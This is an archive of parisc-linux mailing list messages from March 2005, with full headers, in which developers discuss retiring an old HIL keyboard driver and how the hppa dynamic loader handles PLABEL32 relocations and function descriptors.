Date: Wed, 16 Mar 2005 14:39:46 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20050316143946.GN21986@parcelfarce.linux.theplanet.co.uk>
References: <20050316045541.GA10031@colo.lackof.org>
	<20050316133722.GM21986@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623697 13012 80.91.229.3 (22 Nov 2014 02:34:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2005 14:40:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx073) with SMTP; 16 Mar 2005 15:40:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 307597D690;
	Wed, 16 Mar 2005 07:41:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04835-08; Wed, 16 Mar 2005 07:41:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DBE87D691;
	Wed, 16 Mar 2005 07:41:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 619C87D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 07:41:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04919-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 07:41:04 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id D5DDC7D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 07:41:03 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1DBZgY-0003eK-HI; Wed, 16 Mar 2005 14:39:46 +0000
Content-Disposition: inline
In-Reply-To: <20050316133722.GM21986@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MilTKhcgTlIv47eQeGhrSVVGU2poZdnI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22440

On Wed, Mar 16, 2005 at 01:37:22PM +0000, Matthew Wilcox wrote:
> Just the opposite way round.  hilkbd.c is the one I ported from the m68k
> guys back in 1999.  hil_kbd.c is the shiny new input-layer one that Brian
> Julin wrote from scratch.  Check the Kconfig/Makefile.

I forgot to say that it is, of course, desirable that we eliminate the
earlier driver.  It doesn't support HIL mice or other HIL devices.
I'd really like to see some of the problems with the newer driver fixed
though:

 - Apparent consumption of 70%+ CPU
 - Booting without a HIL device attached leads to hundreds of messages
   about requests already being queued.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] remove hil_kbd.c?
Date: Wed, 16 Mar 2005 13:37:22 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <20050316133722.GM21986@parcelfarce.linux.theplanet.co.uk>
References: <20050316045541.GA10031@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623697 13017 80.91.229.3 (22 Nov 2014 02:34:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2005 13:37:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 16 Mar 2005 14:37:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 364117D68A;
	Wed, 16 Mar 2005 06:38:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04174-07; Wed, 16 Mar 2005 06:38:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A690C7D690;
	Wed, 16 Mar 2005 06:38:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 854B87D683
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 06:38:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04107-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 06:38:40 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id F3A5B7D650
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 06:38:39 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1DBYiA-00012I-L3; Wed, 16 Mar 2005 13:37:22 +0000
Content-Disposition: inline
In-Reply-To: <20050316045541.GA10031@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 01pTKn9XTlIv47eQeGhrSVVGU2poZRkA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22441

On Tue, Mar 15, 2005 at 09:55:41PM -0700, Grant Grundler wrote:
> Helge, et al,
> I was wondering why we have two hil keyboard files:
> 	drivers/input/keyboard/hil_kbd.c
> 	drivers/input/keyboard/hilkbd.c
> 
> The header comments suggest Helge is maintaining hilkbd.c
> and we should delete the other:
> ==> hil_kbd.c <==
> /*
>  * Generic linux-input device driver for keyboard devices
>  *
>  * Copyright (c) 2001 Brian S. Julin
>  * All rights reserved.
> ...
> 
> Is that correct?

Just the opposite way round.  hilkbd.c is the one I ported from the m68k
guys back in 1999.  hil_kbd.c is the shiny new input-layer one that Brian
Julin wrote from scratch.  Check the Kconfig/Makefile.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Solution to OPD's in hppa-linux,
	including a transition plan?
Date: Wed, 16 Mar 2005 22:51:41 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <200503170351.j2H3pfhv011974@hiauly1.hia.nrc.ca>
References: <20050316213757.GG22872@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623698 13022 80.91.229.3 (22 Nov 2014 02:34:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:58 +0000 (UTC)
Cc: tausq@debian.org,
 amodra@bigpond.net.au,
 parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2005 03:52:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 17 Mar 2005 04:52:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E9AA7D6AA;
	Wed, 16 Mar 2005 20:53:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09073-07; Wed, 16 Mar 2005 20:53:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87A017D69F;
	Wed, 16 Mar 2005 20:53:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BCE417D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 20:53:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09073-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 20:53:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3BB1A7D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 20:53:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2H3phhF011975; Wed, 16 Mar 2005 22:51:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2H3pfhv011974;
	Wed, 16 Mar 2005 22:51:41 -0500 (EST)
In-Reply-To: <20050316213757.GG22872@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 16, 2005 04:37:58 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZZNTKlBBTlIv47eQeGhrSVVGU2poZZkS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22442

> We *do* have a n OPD for functions called in this manner, but only if
> the plabel word carried a PLABEL32 reloc. The use of _dl_make_fptr
> makes sure each symbol gets a unique function descriptor and will never
> create duplicates.
> 
> The problem is that in the executable, we lazily point all the plabel
> words at their associated plt entries and *splat* they are no longer
> unique. Please note this *only* happens in the executable. Executables
> do not generate PLABEL32 relocs for their plabel words.
> 
> I want to recommend that the executable emit PLABEL32 relocs against all
> plabel word entries. The dynamic loader would then fill these entries
> with unique OPD's as it has done so for shared libraries (this code was
> originall wirtten by Bame et. al. and I ported hppa to use Lu's
> non-locking generic version).

I think you are correct.  I hadn't realized that we are only dropping
the PLABEL32 in executables.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Solution to OPD's in hppa-linux,
	including a transition plan?
Date: Wed, 16 Mar 2005 16:37:58 -0500
Lines: 119
Approved: news@gmane.org
Message-ID: <20050316213757.GG22872@baldric.uwo.ca>
References: <20050315220842.GC22872@baldric.uwo.ca>
	<200503160410.j2G4ALcu021219@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623698 13026 80.91.229.3 (22 Nov 2014 02:34:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:58 +0000 (UTC)
Cc: tausq@debian.org,
 amodra@bigpond.net.au,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2005 21:38:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 16 Mar 2005 22:38:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 262997D68A;
	Wed, 16 Mar 2005 14:39:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06422-07; Wed, 16 Mar 2005 14:39:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 321A07D670;
	Wed, 16 Mar 2005 14:39:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C2E37D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 14:39:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06422-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 14:39:26 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id BFCC67D660
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 14:39:25 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DBgDH-00011p-00; Wed, 16 Mar 2005 16:37:59 -0500
Content-Disposition: inline
In-Reply-To: <200503160410.j2G4ALcu021219@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NMtTKuMJTlIv47eQeGhrSVVGU2poZZnP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22443

On Tue, Mar 15, 2005 at 11:10:21PM -0500, John David Anglin wrote:
> > No. Read further, if I'm wrong please correct me.
> > 
> > The PLABEL32 contains the address of the function descriptor, while the
> > data in the PLT *is* the function descriptor. There is an extra lookup.
> > 
> > You have to load the address of the PLABEL32, load the value from there,
> > and then use that as your function descriptor. We currently *don't* do
> > this. The reason the indirection is there for PLABEL32 is such that the
> > dynamic loader can acutally assign the address of the OPD into that
> > word. 
> 
> No, I don't believe this is correct.  We do load the address
> from the PLABEL32 word.  That's the function pointer and what's
> passed to __cffc.  The problem is we don't have an OPD for the
> functions called in this manner.  We have more than one function
> descriptor for a any given function (possibly one for every
> PLABEL32 relocation).

We *do* have a n OPD for functions called in this manner, but only if
the plabel word carried a PLABEL32 reloc. The use of _dl_make_fptr
makes sure each symbol gets a unique function descriptor and will never
create duplicates.

The problem is that in the executable, we lazily point all the plabel
words at their associated plt entries and *splat* they are no longer
unique. Please note this *only* happens in the executable. Executables
do not generate PLABEL32 relocs for their plabel words.

I want to recommend that the executable emit PLABEL32 relocs against all
plabel word entries. The dynamic loader would then fill these entries
with unique OPD's as it has done so for shared libraries (this code was
originall wirtten by Bame et. al. and I ported hppa to use Lu's
non-locking generic version).
 
> On hppa64-hpux, we use essentially the same code to load function
> pointers from FPTR64 double words.  There we don't need to
> canonicalize the pointers because they point to the OPD for the
> function.

Sure, but the hpux libc probably does all the work to make sure that the
plabel words point to OPD's even for the executable :)

> > The problem is that in a normal executable those words just point at the
> > PLT and they shouldn't. That case should just generate a PLABEL32 reloc
> > in the executable. 
> > 
> > Do I understand the code correctly?
> 
> I think the situation envisioned in the parisc elf specification
> always envisioned a two level lookup.  In the relocations defined
> for 32-bit elf, the only way to load the address of a function
> descriptor is using the PLABEL32 relocation.  The 64-bit elf
> table also provides the LTOFF_FPTR21L and LTOFF_FPTR14R relocations.
> In this case, I believe that code has to load the address of the function
> descriptor from the linkage table, so it's still a two level lookup.

Yes, correct, I agree. Loading the *address* of a function descriptor
always requires a PLABEL32 reloction. The PLABEL32 reloction is handled
by the dynamic loader, which creates the OPD, and places the address of
the OPD into the plabel word.

Yes, as long as LTOFF_FTPR* load the address of the descriptor from the
linkage table (plt) then the system still works.

Hence, why I suggest executables also use PLABEL32 relocs if they take
the address of a function.

> The 32-bit ABI has the complication of the plabel bit in the function
> pointer.  While it might be possible to directly load the address
> of the function descriptor with an addil/ldo sequence if suitable
> relocations existed, saving one memory access, the code would still
> have to call $$dyncall or perform equivalent operations inline to
> test and strip off the plabel bit.

Yes, calling a function descriptor will always involve clearing the
plabel bit. I don't quite understand the performance gain to be made in
detecting that the plabel word contained a local address as opposed to a
function descriptor?

Yes, with a new relocation it *might* be possible to load the function
descriptor address directly from the plabel word, but as you say it 
would require writing into the code to change offsets?

> There are several disadvantages in the approach.  Plabels and linkage
> table entries can be shared for many calls to a given function.  Thus,
> the dynamic loader probably has an easier job doing the relocations.
> Also, I think that relocations might have to be redone (at least under
> hpux) when shared libraries are dynamically loaded by an application.
> This would require that the dynamic loader have the capability to
> write to code space after a program has started execution.  This is
> probably a security risk, particularly for shared libraries that are
> not privately mapped.  As I noted previously, the plabel words have
> to go in a read/write section because of this issue.

Do you really mean "disadvantages?"

Can you explain how plabels and plt entries can be shared for many calls
to a given function?

Are we still talking about the new reloc that could load the function
descriptor address directly?

Yes, plabel words go in read/write since they are written to by the
dynamic loader (only if they have a PLABEL32 reloc though).

---

This has definately been a good learning discussion, from the viewpoint
of optimal schemes for this type of architecture :)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: review sg_format
Date: Wed, 16 Mar 2005 16:44:19 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20050316214419.GH22872@baldric.uwo.ca>
References: <20050315235613.GD3757@colo.lackof.org>
	<200503160422.j2G4MPhk021681@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623698 13030 80.91.229.3 (22 Nov 2014 02:34:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2005 21:44:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 16 Mar 2005 22:44:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE5B57D686;
	Wed, 16 Mar 2005 14:45:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06917-02; Wed, 16 Mar 2005 14:45:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB2597D68A;
	Wed, 16 Mar 2005 14:45:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C75C7D686
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 14:45:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06563-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 14:45:48 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A171C7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 14:45:48 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DBgJP-00017y-00; Wed, 16 Mar 2005 16:44:19 -0500
Content-Disposition: inline
In-Reply-To: <200503160422.j2G4MPhk021681@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (16% Sync Ratio [==........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
